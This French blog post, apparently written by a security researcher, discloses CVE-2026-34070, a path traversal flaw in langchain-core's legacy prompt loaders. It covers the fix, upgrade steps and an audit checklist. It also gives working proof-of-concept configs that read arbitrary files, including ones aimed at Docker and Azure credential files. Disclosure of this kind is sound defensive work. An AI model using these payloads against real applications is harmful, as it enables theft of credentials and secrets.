
J'ai trouvé une vulnérabilité zero-day dans langchain — voici comment ça s'est passé
Comment une API héritée oubliée dans l'un des frameworks d'IA les plus populaires a discrètement exposé des millions d'applications à des lectures arbitraires de fichiers.
Il y a une certaine sensation que l'on ressent lorsqu'une preuve de concept fonctionne du premier coup. Pas exactement de l'excitation — plutôt une lente et inconfortable prise de conscience que quelque chose de réel vient de se produire. C'est ce que j'ai ressenti lorsque j'ai exécuté ma configuration de test contre load_prompt_from_config() et que j'ai vu le contenu d'un fichier qu'elle n'avait aucune raison de lire s'afficher directement dans mon terminal.
Voici l'histoire de CVE-2026-34070 : une vulnérabilité de traversée de chemin dans langchain-core, désormais corrigée dans la version 1.2.22.
Si vous avez construit quoi que ce soit avec l'IA au cours des deux dernières années, vous avez presque certainement touché à LangChain. C'est le tissu conjonctif de la pile IA moderne — le framework qui relie les modèles de langage, les magasins de vecteurs, les outils et la gestion des prompts en applications cohérentes. Avec plus de 130 000 étoiles sur GitHub et une adoption allant de projets de week-end improvisés aux déploiements d'entreprise, une vulnérabilité ici ne reste pas confinée.
Je faisais une revue de code du sous-système de prompts lorsque quelque chose a attiré mon attention : un module appelé . Il chargeait des fichiers depuis le disque en fonction de valeurs extraites directement de dictionnaires de configuration désérialisés. Aucune validation. Aucune assainissement des chemins. Juste .
langchain_core/prompts/loading.pyopen(path)J'ai continué à lire.
Trois fonctions internes étaient au centre de ce problème :
_load_template() — lit les fichiers référencés par template_path, suffix_path et prefix_path_load_examples() — lit les fichiers référencés par la clé examples lorsqu'elle est une chaîne_load_few_shot_prompt() — lit les fichiers référencés par example_prompt_pathLes vérifications d'extension de fichier étaient présentes. .txt pour les templates. .json, .yaml, .yml pour les exemples. Mais rien n'empêchait ces chemins d'être absolus (/etc/passwd) ou basés sur la traversée (../../../../home/user/.ssh/). Le filtre d'extension donnait un faux sentiment de sécurité — il signifiait simplement qu'un attaquant devait choisir la bonne extension, pas que l'attaque était bloquée.
Ces fonctions sont toutes accessibles via deux API publiques : load_prompt() et load_prompt_from_config().
La version la plus simple ressemblait à ceci :
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # contenu de /tmp/secret.txt, affiché proprement
C'est tout. Passez un chemin absolu, récupérez le contenu du fichier enveloppé dans un PromptTemplate. Aucune authentification. Aucun privilège spécial. Si vous pouvez influencer le dictionnaire de configuration, vous pouvez lire des fichiers.
La traversée de répertoire fonctionnait tout aussi proprement :
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
La variante JSON/YAML était sans doute plus dangereuse en raison des types de fichiers qu'elle pouvait atteindre :
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
.docker/config.json contient vos identifiants Docker Hub. ~/.azure/accessTokens.json contient vos jetons Azure. Les manifestes Kubernetes, les configurations CI/CD, les paramètres internes des applications — tout fichier avec la bonne extension situé n'importe où sur le système de fichiers était une cible légitime.
Le score CVSS est arrivé à 7,5 Élevé, avec un vecteur de AV:N/AC:L/PR:N/UI:N — accessible depuis le réseau, faible complexité, aucun privilège, aucune interaction utilisateur requise.
Le score est limité en dessous de 9+ car la vérification d'extension de fichier restreint effectivement les fichiers qui peuvent être lus. Mais 7,5 sous-estime encore l'impact réel dans certains schémas de déploiement.
Pensez à où cela atterrit en production :
load_prompt_from_config(), chaque utilisateur est un attaquant potentiel.Dans ces environnements, la limitation « contraint par l'extension de fichier » importe beaucoup moins. Un attaquant peut simplement cibler des fichiers dont il sait qu'ils existent avec la bonne extension. Sur une instance cloud typique : requirements.txt, config.yaml, .env.yaml, fichiers secrets montés avec des extensions .json — la liste est longue.
Les fonctions affectées sont décrites dans l'avis comme des « API héritées non documentées ». Elles précèdent le système de sérialisation actuel langchain_core.load (dumpd/dumps/load/loads), qui utilise un modèle basé sur une liste blanche et n'effectue pas de lectures du système de fichiers.
Les nouvelles API existent. Elles sont meilleures. Mais l'ancien code n'a jamais été nettoyé — il est simplement resté là, accessible, sans validation, en attente.
C'est un schéma qui mérite qu'on y prête attention. Dans les projets open-source à évolution rapide, en particulier ceux qui ont grandi aussi vite que LangChain, la dette technique s'accumule dans les coins. Le code hérité qui « n'était jamais vraiment destiné aux utilisateurs » ne reçoit pas la même attention que la surface d'API principale. Mais il reste appelable. Il est toujours dans le package. Et s'il lit des fichiers depuis le disque, c'est une vulnérabilité potentielle.
Le correctif est arrivé dans langchain-core 1.2.22. Le correctif ajoute une validation des chemins qui rejette à la fois les chemins absolus et les séquences de traversée .. avant qu'aucun fichier ne soit ouvert. Une porte de sortie — allow_dangerous_paths=True — est disponible pour les applications qui ont réellement besoin de lire depuis des chemins de confiance, avec la reconnaissance explicite que l'appelant choisit d'assumer le risque.
Les API héritées ont également été officiellement dépréciées avec cette version. Elles seront entièrement supprimées dans la version 2.0.0. Si vous utilisez load_prompt() ou load_prompt_from_config() quelque part, migrez vers les équivalents langchain_core.load maintenant plutôt que d'attendre le changement cassant.
Mettez à jour immédiatement :
pip install --upgrade langchain-core
Vérifiez que vous êtes sur la version 1.2.22 ou plus récente :
python -c "import langchain_core; print(langchain_core.__version__)"
Si vous construisez sur LangChain, un audit rapide vaut la peine d'être effectué :
load_prompt et load_prompt_from_config dans votre codebase. S'ils apparaissent, vérifiez ce qui leur est transmis..txt, .json ou .yaml existent sur vos instances et ce qu'ils contiennent.Les bugs de sécurité dans l'infrastructure IA vont compter de plus en plus, pas de moins en moins, à mesure que ces systèmes gèrent des charges de travail plus sensibles. L'équipe de LangChain a bien réagi — le correctif est propre, le chemin de dépréciation est clair, et la documentation de l'avis est approfondie.
Mais c'est un bon rappel que la surface d'attaque d'une application IA n'est pas seulement le modèle. C'est chaque bibliothèque de la pile, chaque fonction héritée qui n'a jamais été nettoyée, chaque endroit où « l'utilisateur ne passera probablement pas d'entrée non fiable ici » s'est avéré être une hypothèse plutôt qu'une garantie.
Lisez le code. Surtout les anciennes parties.
CVE-2026-34070 a été attribuée à cette vulnérabilité. L'avis complet est disponible sur l'Avis de sécurité GitHub de LangChain.